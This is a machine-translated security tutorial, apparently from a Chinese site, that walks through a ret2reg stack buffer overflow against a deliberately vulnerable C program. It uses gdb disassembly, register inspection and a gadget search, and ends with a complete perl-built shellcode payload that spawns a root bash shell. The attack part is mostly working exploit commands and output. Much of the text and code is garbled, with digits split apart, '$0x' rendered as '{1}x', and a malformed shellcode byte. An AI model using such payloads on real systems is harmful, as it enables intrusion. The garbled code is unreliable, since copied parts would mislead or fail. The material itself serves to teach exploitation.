ret2reg buffer overflow attack-vulnerability warning-the black bar safety net

2011-10-10T00:00:00
ID MYHACK58:62201132043
Type myhack58
Reporter 佚名
Modified 2011-10-10T00:00:00

Description

Is overflow the program source code is as follows:

|

  1. root@linux:~/pentest# cat vulnerable. c
  2. include <stdio. h>

  3. include <string. h>

    1. void evilfunction(char *input) {
    1. char buffer[1 0 0 0];
  4. strcpy(buffer, input);
  5. } 1 0. 1 1. int main(int argc, char argv) { 1 2. 1 3. evilfunction(argv[1]); 1 4. 1 5. return** 0; 1 6. }

Compile and use gdb to disassemble code is as follows:

  1. root@linux:~/pentest# gcc-fno-stack-protector-z execstack-g-o vulnerable vulnerable. c
      1. root@linux:~/pentest# gdb vulnerable
  2. GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2
  3. Copyright (C) 2 0 1 0 The Free Software Foundation, Inc.
  4. License GPLv3+: GNU GPL version 3 or later <a http://gnu.org/licenses/gpl.html>
  5. This is free software: you are free to change and redistribute it.
  6. There is NO WARRANTY, to the extent permitted by law. Type "show copying" 1 0. and "show warranty" for details. 1 1. This GDB was configured as "i686-linux-gnu". 1 2. For bug reporting instructions, please see: 1 3. <http://www.gnu.org/software/gdb/bugs/>... 1 4. Reading symbols from /root/pentest/vulnerable...done. 1 5. (gdb) disass main 1 6. Dump of assembler code for function main: 1 7. 0x080483e4 <+0>: push %ebp 1 8. 0x080483e5 <+1>: mov %esp,%ebp 1 9. 0x080483e7 <+3>: and {1}xfffffff0,%esp 2 0. 0x080483ea <+6>: sub {1}x10,%esp 2 1. 0x080483ed <+9>: mov 0xc(%ebp),%eax 2 2. 0x080483f0 <+1 2>: add {1}x4,%eax 2 3. 0x080483f3 <+1 5>: mov (%eax),%eax 2 4. 0x080483f5 <+1 7>: mov %eax,(%esp) 2 5. 0x080483f8 <+2 0>: call 0x80483c4 <evilfunction> 2 6. 0x080483fd <+2 5>: mov {1}x0,%eax 2 7. 0x08048402 <+3 0>: leave 2 8. 0x08048403 <+3 1>: ret 2 9. End of assembler dump. 3 0. (gdb) disass evilfunction 3 1. Dump of assembler code for function evilfunction: 3 2. 0x080483c4 <+0>: push %ebp 3 3. 0x080483c5 <+1>: mov %esp,%ebp 3 4. 0x080483c7 <+3>: sub {1}x408,%esp 3 5. 0x080483cd <+9>: mov 0x8(%ebp),%eax 3 6. 0x080483d0 <+1 2>: mov %eax,0x4(%esp) 3 7. 0x080483d4 <+1 6>: lea-0x3f0(%ebp),%eax 3 8. 0x080483da <+2 2>: mov %eax,(%esp) 3 9. 0x080483dd <+2 5>: call 0x80482f4 <strcpy@plt> 4 0. 0x080483e2 <+3 0>: leave 4 1. 0x080483e3 <+3 1>: ret 4 2. End of assembler dump. 4 3. (gdb)

Analysis evilfunction function call stack usage, as shown below:

!

Can see, want to overflow the stack, you need at least 1016B of the data.

Here we use gdb to debug it, see above analysis is not correct:

  1. (gdb) run `perl-e 'print "\x41"x1014"
  2. The program being debugged has been started already.
  3. Start it from the beginning? (y or n) y
  4. Starting program: /root/pentest/vulnerable `perl-e 'print "\x41"x1014"
    1. Program received signal SIGSEGV, Segmentation fault.
  5. 0x08004141 in ?? ()
  6. (gdb) run `perl-e 'print "\x41"x1015"
  7. The program being debugged has been started already. 1 0. Start it from the beginning? (y or n) y 1 1. Starting program: /root/pentest/vulnerable perl-e 'print "\x41"x1015" 1 2. 1 3. Program received signal SIGSEGV, Segmentation fault. 1 4. 0x00414141 in ?? () 1 5. (gdb) runperl-e 'print "\x41"x1016" 1 6. The program being debugged has been started already. 1 7. Start it from the beginning? (y or n) y 1 8. Starting program: /root/pentest/vulnerable `perl-e 'print "\x41"x1016" 1 9. 2 0. Program received signal SIGSEGV, Segmentation fault. 2 1. 0x41414141 in ?? () 2 2. (gdb)

Through debugging, the visibility analysis is correct. Then next, we will construct our shellcode to overflow the stack. In this section, we will use a commonly used skill, ret2reg(return to register with the above-mentioned basic overflow method is different, the basic overflow using the esp address hard-coded eip way to execute our shellcode, and ret2reg then use an existing instruction address to overwrite eip, the instruction will jump to a register pointing to the buffer address at the execution.

The following Use gdb to debug the whole overflow process, to see whether there is a register available for our use. That the program overflows, the register pointing to us to execute the shellcode in.

  1. root@linux:~/pentest# gdb vulnerable
  2. GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2
  3. Copyright (C) 2 0 1 0 Free Software Foundation, Inc.
  4. License GPLv3+: GNU GPL version 3 or later <a http://gnu.org/licenses/gpl.html>
  5. This is free software: you are free to change and redistribute it.
  6. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  7. and "show warranty" for details.
  8. This GDB was configured as "i686-linux-gnu".
  9. For bug reporting instructions, please see: 1 0. <http://www.gnu.org/software/gdb/bugs/>... 1 1. Reading symbols from /root/pentest/vulnerable...done. 1 2. (gdb) disass main 1 3. Dump of assembler code for function main: 1 4. 0x080483e4 <+0>: push %ebp 1 5. 0x080483e5 <+1>: mov %esp,%ebp 1 6. 0x080483e7 <+3>: and {1}xfffffff0,%esp 1 7. 0x080483ea <+6>: sub {1}x10,%esp 1 8. 0x080483ed <+9>: mov 0xc(%ebp),%eax 1 9. 0x080483f0 <+1 2>: add {1}x4,%eax 2 0. 0x080483f3 <+1 5>: mov (%eax),%eax 2 1. 0x080483f5 <+1 7>: mov %eax,(%esp) 2 2. 0x080483f8 <+2 0>: call 0x80483c4 <evilfunction> 2 3. 0x080483fd <+2 5>: mov {1}x0,%eax 2 4. 0x08048402 <+3 0>: leave 2 5. 0x08048403 <+3 1>: ret 2 6. End of assembler dump. 2 7. (gdb) b main+2 0 2 8. Breakpoint 1 at 0x80483f8: file vulnerable. c, line 1 2. 2 9. (gdb) b main+3 1 3 0. Breakpoint 2 at 0x8048403: file vulnerable. c, line 1 5. 3 1. (gdb) disass evilfunction 3 2. Dump of assembler code for function evilfunction: 3 3. 0x080483c4 <+0>: push %ebp 3 4. 0x080483c5 <+1>: mov %esp,%ebp 3 5. 0x080483c7 <+3>: sub {1}x408,%esp 3 6. 0x080483cd <+9>: mov 0x8(%ebp),%eax 3 7. 0x080483d0 <+1 2>: mov %eax,0x4(%esp) 3 8. 0x080483d4 <+1 6>: lea-0x3f0(%ebp),%eax 3 9. 0x080483da <+2 2>: mov %eax,(%esp) 4 0. 0x080483dd <+2 5>: call 0x80482f4 <strcpy@plt> 4 1. 0x080483e2 <+3 0>: leave 4 2. 0x080483e3 <+3 1>: ret 4 3. End of assembler dump. 4 4. (gdb) b evilfunction+3 1 4 5. Breakpoint 3 at 0x80483e3: file vulnerable. c, line 8. 4 6. (gdb) run perl-e 'print "\x41"x1012,"\x42"x4" 4 7. Starting program: /root/pentest/vulnerableperl-e 'print "\x41"x1012,"\x42"x4" 4 8. 4 9. Breakpoint 1, 0x080483f8 in main (argc=2, argv=0xbffff064) at vulnerable. c:1 2 5 0. 1 2 evilfunction(argv[1]); 5 1. (gdb) stepi 5 2. evilfunction (input=0xbffff203 'A' <installed or support 2 0 0 times>...) at vulnerable. c:4 5 3. 4 void evilfunction(char input) { 5 4. (gdb) i r esp 5 5. esp 0xbfffef9c 0xbfffef9c 5 6. (gdb) x/10x $esp-1 6 5 7. 0xbfffef8c: 0x08048429 0x00171cbd 0x0029f324 0x0029eff4 5 8. 0xbfffef9c: 0x080483fd 0xbffff203 0x0011ea50 0x0804841b 5 9. 0xbfffefac: 0x0029eff4 0x08048410 6 0. (gdb) c 6 1. Continuing. 6 2. 6 3. Breakpoint 3, 0x080483e3 in evilfunction (input=0xbffff200 "le") at vulnerable. c:8 6 4. 8 } 6 5. (gdb) i r esp 6 6. esp 0xbfffef9c 0xbfffef9c 6 7. (gdb) x/10x $esp-1 6 6 8. 0xbfffef8c: 0x41414141 0x41414141 0x41414141 0x41414141 6 9. 0xbfffef9c: 0x42424242 0xbffff200 0x0011ea50 0x0804841b 7 0. 0xbfffefac: 0x0029eff4 0x08048410 7 1. (gdb) c 7 2. Continuing. 7 3. 7 4. Program received signal SIGSEGV, Segmentation fault. 7 5. 0x42424242 in ?? () 7 6. (gdb) i r 7 7. eax 0xbfffeba8 -1073747032 7 8. ecx 0x0 0 7 9. edx 0xbffff5fc -1073744388 8 0. ebx 0x29eff4 2 7 4 8 4 0 4 8 1. esp 0xbfffefa0 0xbfffefa0 8 2. ebp 0x41414141 0x41414141 8 3. esi 0x0 0 8 4. edi 0x0 0 8 5. eip 0x42424242 0x42424242 8 6. eflags 0x10246 [ PF ZF IF RF ] 8 7. cs 0x73 1 1 5 8 8. ss 0x7b 1 2 3 8 9. ds 0x7b 1 2 3 9 0. es 0x7b 1 2 3 9 1. fs 0x0 0 9 2. gs 0x33 5 1 9 3. (gdb) x/20x $eax 9 4. 0xbfffeba8: 0x41414141 0x41414141 0x41414141 0x41414141 9 5. 0xbfffebb8: 0x41414141 0x41414141 0x41414141 0x41414141 9 6. 0xbfffebc8: 0x41414141 0x41414141 0x41414141 0x41414141 9 7. 0xbfffebd8: 0x41414141 0x41414141 0x41414141 0x41414141 9 8. 0xbfffebe8: 0x41414141 0x41414141 0x41414141 0x41414141 9 9. (gdb) x/20x $eax -16 1 0 0. 0xbfffeb98: 0x0015b1c4 0x0015b1c4 0x000027d8 0x00005844 1 0 1. 0xbfffeba8: 0x41414141 0x41414141 0x41414141 0x41414141 1 0 2. 0xbfffebb8: 0x41414141 0x41414141 0x41414141 0x41414141 1 0 3. 0xbfffebc8: 0x41414141 0x41414141 0x41414141 0x41414141 1 0 4. 0xbfffebd8: 0x41414141 0x41414141 0x41414141 0x41414141 1 0 5. (gdb)

Through the above process analysis, we can know, in the overflow, the eax register is exactly the point we want to execute the stack starting address. That is, we can use eax to achieve ret2reg it. That is looking for a similar“call %eax”or“jmp %eax”instruction. Usually, we need in a shared library to find similar instructions.

For simplicity, first find the present program contains the eax instruction.

  1. root@linux:~/pentest#objdump-d vulnerable | grep eax
  2. 80482c0: 5 8 pop %eax
  3. 80482d0: 0 0 0 0 add %al,(%eax)
  4. 8 0 4 8 3 1 8: 5 0 push %eax
  5. 8 0 4 8 3 5 0: a1 1 8 a0 0 4 0 8 mov 0x804a018,%eax
  6. 8 0 4 8 3 6 6: 39d8 cmp %ebx,%eax
  7. 8 0 4 8 3 7 0: 8 3 c001 add {1}x1,%eax
  8. 8 0 4 8 3 7 3: a3 1 8 a0 0 4 0 8 mov %eax,0x804a018
  9. 8 0 4 8 3 7 8: ff 1 4 8 5 1c 9f 0 4 0 8 call 0x8049f1c(,%eax,4) 1 0. 804837f: a1 1 8 a0 0 4 0 8 mov 0x804a018,%eax 1 1. 8 0 4 8 3 8 4: 39d8 cmp %ebx,%eax 1 2. 80483a6: a1 2 4 9f 0 4 0 8 mov 0x8049f24,%eax 1 3. 80483ab: 85c0 test %eax,%eax 1 4. 80483af: b8 0 0 0 0 0 0 0 0 mov {1}x0,%eax 1 5. 80483b4: 85c0 test %eax,%eax 1 6. 80483bf: ffd0 call %eax 1 7. 80483cd: 8b 4 5 0 8 mov 0x8(%ebp),%eax 1 8. 80483d0: 8 9 4 4 2 4 0 4 mov %eax,0x4(%esp) 1 9. 80483d4: 8d 8 5 1 0 fc ff ff lea-0x3f0(%ebp),%eax 2 0. 80483da: 8 9 0 4 2 4 mov %eax,(%esp) 2 1. 80483ed: 8b 450c mov 0xc(%ebp),%eax 2 2. 80483f0: 8 3 c004 add {1}x4,%eax 2 3. 80483f3: 8b00 mov (%eax),%eax 2 4. 80483f5: 8 9 0 4 2 4 mov %eax,(%esp) 2 5. 80483fd: b8 0 0 0 0 0 0 0 0 mov {1}x0,%eax 2 6. 804842f: 8d 8 3 2 0 ff ff ff lea-0xe0(%ebx),%eax 2 7. 8 0 4 8 4 3 5: 29c7 sub %eax,%edi 2 8. 8 0 4 8 4 4 0: 8b 4 5 1 0 mov 0x10(%ebp),%eax 2 9. 8 0 4 8 4 4 3: 8 9 4 4 2 4 0 8 mov %eax,0x8(%esp) 3 0. 8 0 4 8 4 4 7: 8b 450c mov 0xc(%ebp),%eax 3 1. 804844a: 8 9 4 4 2 4 0 4 mov %eax,0x4(%esp) 3 2. 804844e: 8b 4 5 0 8 mov 0x8(%ebp),%eax 3 3. 8 0 4 8 4 5 1: 8 9 0 4 2 4 mov %eax,(%esp) 3 4. 8 0 4 8 4 8 7: a1 1 4 9f 0 4 0 8 mov 0x8049f14,%eax 3 5. 804848c: 8 3 f8ff cmp {1}xffffffff,%eax 3 6. 804849b: ffd0 call *%eax 3 7. 804849d: 8b03 mov (%ebx),%eax 3 8. 804849f: 8 3 f8ff cmp {1}xffffffff,%eax 3 9. root@linux:~/pentest#

You can see, the program contains what we're looking for is similar to“jmp/call *%eax”instruction. Thus, we will use the“0x80483bf”this address.

Next you need to build our overflow code, The design of the format is as follows:

“\x90” * 400B +shellcode(45B) + “\x90” * 567B + “0x80483bf”(4B)

The following in accordance with the above format, structure, and overflow tests.

  1. root@linux:~/pentest# gdb vulnerable
  2. GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2
  3. Copyright (C) 2 0 1 0 The Free Software Foundation, Inc.
  4. License GPLv3+: GNU GPL version 3 or later <a http://gnu.org/licenses/gpl.html>
  5. This is free software: you are free to change and redistribute it.
  6. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  7. and "show warranty" for details.
  8. This GDB was configured as "i686-linux-gnu".
  9. For bug reporting instructions, please see: 1 0. <http://www.gnu.org/software/gdb/bugs/>... 1 1. Reading symbols from /root/pentest/vulnerable...done. 1 2. (gdb) r perl-e 'print "\x90"x400,"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x62\x61\x73\x68\x68\x62\69\x6e\x2f\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80","\x90"x567, "\xbf\x83\x04\x08"" 1 3. The program being debugged has been started already. 1 4. Start it from the beginning? (y or n) y 1 5. 1 6. Starting program: /root/pentest/vulnerableperl-e 'print "\x90"x400,"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x62\x61\x73\x68\x68\x62\69\x6e\x2f\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80","\x90"x567, "\xbf\x83\x04\x08"" 1 7. process 1 9 0 9 is executing new program: /bin/bash 1 8. root@linux:/root/pentest# ls 1 9. shellcode shellcode. bin shellcode. c shellcode.pl shellcode_generator shellcode_generator. c test. c vulnerable vulnerable. c 2 0. root@linux:/root/pentest# exit 2 1. exit 2 2. 2 3. Program exited normally. 2 4. (gdb)

You can see that our overflow generationThe code successfully get a shell.